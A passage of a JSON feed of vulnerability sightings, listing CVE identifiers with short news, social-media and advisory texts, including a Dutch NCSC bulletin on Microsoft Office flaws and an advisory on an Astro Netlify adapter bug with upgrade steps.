"2026-08-23T00:00:45.402846Z"}, {"uuid": "f65a002b-77e9-426d-badd-c6ce41c52ef4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/pphm_HackerNews/2359", "content": "\ud83d\udd34 Certighost' Flaw Haunts Microsoft Active Directory Certificates\n\nResearchers released a proof-of-concept (PoC) exploit for a now-patched flaw in Microsoft's Active Directory Certificate Services (AD CS) that can allow a low-privileged domain user to impersonate a domain controller and fully compromise an AD environment. The flaw was present due to a defective trust boundary within the certificate-based client authentication aspect of Microsoft AD Services.\n\nIn its July raft of a record 622 Patch Tuesday updates, Microsoft patched a flaw tracked as CVE-2026-54121, which the researchers who discovered and exploited it \u2014 Aniq Fakhrul and Muhammad Ali \u2014 called \"Certighost,\" according to a post by the researchers on GitHub.", "creation_timestamp": "2026-08-23T00:00:45.755369Z"}, {"uuid": "06c7fa9a-f779-4dff-bad8-b91d93710e2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54795", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mtpin7s7jd2x", "content": "\ud83d\udccc CVE-2026-54795 - Dell OpenManage Enterprise, versions prior to 4.7.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Inject... https://www.cyberhub.blog/cves/CVE-2026-54795", "creation_timestamp": "2026-08-23T00:07:06.291754Z"}, {"uuid": "d9168ee2-0f7d-41dd-a725-342f77555c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "exploited", "source": "https://t.me/infosec_ita_notizie/2890", "content": "\u2728 CVE-2026-5426: zero-day in KnowledgeDeliver LMS sfruttato per distribuire BLUEBEAM e Cobalt Strike BEACON\nvia, InsicurezzaDigitale.com\n\n\ud83d\udd17 Leggi di pi\u00f9: https://insicurezzadigitale.com/cve-2026-5426-zero-day-in-knowledgedeliver-lms-sfruttato-per-distribuire-bluebeam-e-cobalt-strike-beacon/", "creation_timestamp": "2026-07-21T04:00:08.515900Z"}, {"uuid": "feaaf757-a4e7-4184-8ee5-b9fa89c4a87c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54300", "type": "seen", "source": "https://gist.github.com/alon710/108624152e69003362bd827cbabc8c78", "content": "# GHSA-HP3V-MFQW-H74C: GHSA-hp3v-mfqw-h74c: Missing Character Escaping in @astrojs/netlify Remote Image Pattern Configuration\n\n> **CVSS Score:** 3.7\n> **Published:** 2026-07-20\n> **Full Report:** https://cvereports.com/reports/GHSA-HP3V-MFQW-H74C\n\n## Summary\nA security vulnerability in @astrojs/netlify allows attackers to bypass remote image path restrictions by leveraging unescaped regular expression metacharacters. The integration adapter fails to sanitize developer-defined pathnames before interpolating them into a configuration JSON file consumed by Netlify's Edge Image CDN. This results in overly permissive matching behavior at the edge routing layer, enabling path-traversal and filter bypasses.\n\n## TL;DR\nThe @astrojs/netlify adapter fails to escape dots and other regular expression metacharacters in developer-defined image pathnames, generating insecure edge configurations that permit attackers to bypass path-level restrictions on Netlify's Image CDN.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-185: Incorrect Regular Expression / CWE-116: Improper Output Escaping\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 3.7 (Low)\n- **EPSS Score**: Not Available\n- **Impact**: Filter Bypass / Resource Hijacking\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Astro applications deployed on Netlify using @astrojs/netlify < 8.1.2\n- **@astrojs/netlify**: < 8.1.2 (Fixed in: `8.1.2`)\n\n## Mitigation\n\n- Upgrade @astrojs/netlify integration to version 8.1.2 or higher\n- Avoid utilizing dot characters or special regular expression symbols inside pathnames in astro.config.mjs remotePatterns\n- Restrict the configured remotePatterns hostname to highly specific subdomains or folders to limit bypass surface\n\n**Remediation Steps:**\n1. Run 'npm install @astrojs/netlify@latest' (or equivalent package manager command) to update the package to version 8.1.2 or later\n2. Verify the output by building the project locally using 'npm run build'\n3. Examine the generated '.netlify/v1/config.json' and verify that dots in pathnames are preceded by double backslashes (e.g., '\\\\.')\n\n## References\n\n- [GitHub Security Advisory GHSA-hp3v-mfqw-h74c](https://github.com/withastro/astro/security/advisories/GHSA-hp3v-mfqw-h74c)\n- [Related Vulnerability GHSA-529g-xq4f-cw38 (CVE-2026-54300)](https://github.com/advisories/GHSA-529g-xq4f-cw38)\n- [Astro Pull Request #17018](https://github.com/withastro/astro/pull/17018)\n- [Main Astro Repository](https://github.com/withastro/astro)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/GHSA-HP3V-MFQW-H74C) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-21T04:31:23.737630Z"}, {"uuid": "ecacb97e-d767-4044-b90e-010f66ddc3fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54836", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54836.yaml", "content": "", "creation_timestamp": "2026-07-21T06:00:07.588420Z"}, {"uuid": "add66b39-168b-45b7-adad-bafaa3480953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr5apugwa72m", "content": "\ud83d\udccc CVE-2026-54990 - Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network. https://www.cyberhub.blog/cves/CVE-2026-54990", "creation_timestamp": "2026-07-21T07:07:07.115066Z"}, {"uuid": "47099027-6cba-4311-b8af-0bcc802b83fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54523", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtywfpuqy425", "content": "\ud83d\udea8 CVE-2026-54523 \u2014 CVSS 9.6 CRITICAL\n\nKyverno is a policy engine designed for cloud native platform engineering teams. From 1.18.0 until 1.18.2, ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54523\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-26T18:07:24.698457Z"}, {"uuid": "f6be9f81-03ed-413e-b6de-89bc0f0c6748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54569", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtywgakaxb2t", "content": "\ud83d\udea8 CVE-2026-54569 \u2014 CVSS 9.8 CRITICAL\n\nSENAITE.CORE is the core framework for the SENAITE laboratory information management system. From 2.0.0 to ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54569\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-26T18:07:52.209254Z"}, {"uuid": "e7b1669a-3c5e-44cb-8317-5a4ba4bb1862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54369", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mr5r5rw3rb2i", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-54369 impacts libacl in 20 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/606\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-07-21T12:01:13.506270Z"}, {"uuid": "76ef3ece-0caf-4954-b1dd-2ead0b4b6f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54370", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mr5r5uytuq2r", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-54370 impacts libacl in 20 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/607\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-07-21T12:01:17.038977Z"}, {"uuid": "159bc4bb-8ccd-4395-9261-9a1989340824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54982", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr5zujerfz2i", "content": "\ud83d\udccc CVE-2026-54982 - Integer underflow (wrap or wraparound) in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacen... https://www.cyberhub.blog/cves/CVE-2026-54982", "creation_timestamp": "2026-07-21T14:37:06.368193Z"}, {"uuid": "eb4d1a40-c278-4cd5-8856-d50a361a5405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\nUPDATE:\nVolgens watchTowr is er een publieke exploit code voor SharePoint kwetsbaarheid CVE-2026-50522 gepubliceerd en wordt deze op on-premise versies van  SharePoint nu ook actief misbruikt. Kwaadwillenden kunnen deze kwetsbaarheid misbruiken om zichzelf voor langere termijn toegang tot netwerken van kwetsbare systemen te verschaffen, door middel van het stelen van machine-keys. \n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-21T16:00:48.623573Z"}, {"uuid": "2dda98b7-d3d7-4853-9fc8-1bf48fe00d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\nUPDATE:\nVolgens watchTowr is er een publieke exploit code voor SharePoint kwetsbaarheid CVE-2026-50522 gepubliceerd en wordt deze op on-premise versies van  SharePoint nu ook actief misbruikt. Kwaadwillenden kunnen deze kwetsbaarheid misbruiken om zichzelf voor langere termijn toegang tot netwerken van kwetsbare systemen te verschaffen, door middel van het stelen van machine-keys. \n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-21T16:00:52.831148Z"}, {"uuid": "aac7aecc-946a-47b5-b833-63178517fb72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 